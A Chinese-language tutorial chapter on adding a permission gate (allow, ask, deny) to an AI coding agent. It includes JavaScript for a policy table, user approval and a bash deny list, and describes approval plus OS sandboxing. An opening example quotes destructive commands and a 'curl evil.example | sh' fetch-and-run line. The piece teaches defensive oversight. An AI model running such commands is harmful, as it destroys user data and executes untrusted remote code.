Permission
危险动作在 shell 执行前需要一个 Harness 决策点。
允许、询问、拒绝——三态策略表。
问题
s02 的 Agent 现在有 bash 工具,模型说:
"好的,我来清理一下:rm -rf node_modules、git push --force、curl https://evil.example/x.sh | sh"
如果没有拦截,这些命令会原样执行。模型很强大,但它不值得无条件的信任——危险动作在 shell 执行前需要一个 Harness 决策点。问题是:谁来做这个决定?机器(策略)还是人(询问)?
解决方案
在 execute 之前插入一道策略闸门:每个工具调用先查策略表,得到三个结果之一——allow(放行)、deny(拒绝)、ask(问人)。ask 时向终端输出命令并等待 y/n。
const POLICY = {
read_file: "allow",
list_dir: "allow",
grep: "allow",
write_file: "ask", // 写入需要确认
bash: "ask", // shell 一律需要确认
};
async function gate(name, args) {
const decision = POLICY[name] ?? "ask";
if (decision === "deny") return `DENIED: ${name} is not permitted`;
if (decision === "allow") return "allow";
// ask:把将要执行的内容展示给人,等待批准
console.log(`\n[需要批准] ${name} ${JSON.stringify(args)}`);
return await askUser() ? "allow" : "deny";
}
工作原理
第 1 步:执行流程变成 决策 → 执行 → 记录 三段。决策失败(deny)不进入执行。
for (const call of msg.tool_calls) {
const args = JSON.parse(call.function.arguments);
const verdict = await gate(call.function.name, args);
if (verdict !== "allow") {
messages.push({ role: "tool", tool_call_id: call.id, content: verdict });
continue;
}
const output = await execute(call.function.name, args);
messages.push({ role: "tool", tool_call_id: call.id, content: output });
}
第 2 步:askUser 用一个简单的读行交互实现——向人展示"谁、做什么、参数是什么"。
import readline from "node:readline/promises";
async function askUser() {
const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
const answer = await rl.question("允许执行吗?(y/N) ");
rl.close();
return answer.trim().toLowerCase() === "y";
}
第 3 步:命令级细粒度规则。bash 工具本身是"ask",但其中的只读命令(ls、git status)可以放行;危险前缀(rm -rf、git push --force)直接拒绝。
const BASH_DENY = [/^rm -rf /, /^git push --force/, /\| sh\s*$/];
const BASH_ALLOW = [/^(ls|cat|head|tail|pwd|git status|git diff)\b/];
function gateBash(command) {
if (BASH_DENY.some((re) => re.test(command))) return "deny";
if (BASH_ALLOW.some((re) => re.test(command))) return "allow";
return "ask";
}
权限是策略与执行的分离:策略是数据(可以来自配置文件),执行是代码。改权限不改循环,改执行不碰策略。
试一下
运行 s03,先给它安全的命令,再试试危险命令:
- "列出当前目录"(bash: allow)
- "创建 notes.md 写入一句话"(write_file: ask → 输入 y)
- "删除整个项目目录"(bash: deny)
观察重点:ask 决策打断模型流畅度多少次?如果每次都问,用户会麻——生产系统怎么做?答案在 s04(钩子)和 s18(预设)里。
以下内容基于 packages/interaction 与 packages/sandbox 的核查。DSH 把"决策点"拆成三个正交的系统:
一、审批(approval)
packages/interaction/user-approval:审批是事件驱动的——工具调用触发审批请求,人类(或自动化回答者)给出允许/拒绝/修改。审批不是硬编码在 bash 工具里,而是挂在工具执行管道上的决策层。packages/interaction/permission-presets:权限预设——一组命名好的批准策略(如"完全自动""只读""每步确认"),会话可以切换。packages/interaction/tool-ask-user:模型主动向人提问的工具(你的askUser的模型可见版本)。packages/interaction/commands:人类命令(/approve、/plan等)——不需要模型轮次的分发通道。
二、进程沙箱(sandbox)
你的策略表是"软件层的承诺"——模型看不见 rm -rf 吗?它看得见,只是被拒绝了。DSH 还有硬件层兜底:
packages/sandbox/sandbox:进程沙箱缝,用SandboxMode(read-only/workspace-write/danger-full-access)约束文件效果。packages/sandbox/sandbox-local:Linux bwrap/Landlock、macOS Seatbelt、Windows ACL 受限令牌后端。即使审批放行,进程仍然受 OS 级约束——read-only模式下写文件在系统层面被拒绝,与"模型是否守规矩"无关。packages/sandbox/sandbox-policy:按会话解析执行策略(工作区根、模式)。
三、你的三态表 vs DSH 的三层
| 你的最小实现 | DSH 的真实实现 |
|---|---|
POLICY 硬编码在代码里 |
策略来自配置(cordis.yml / 用户设置),按会话解析 |
ask 阻塞在终端 |
审批事件 + 多回答者(GUI、自动化回答者) |
| 只约束模型行为 | 审批(行为层)+ 沙箱(OS 层)双保险 |
一句话:审批回答"模型可不可以这么做",沙箱回答"进程事实上能不能这么做"。两者都独立于循环。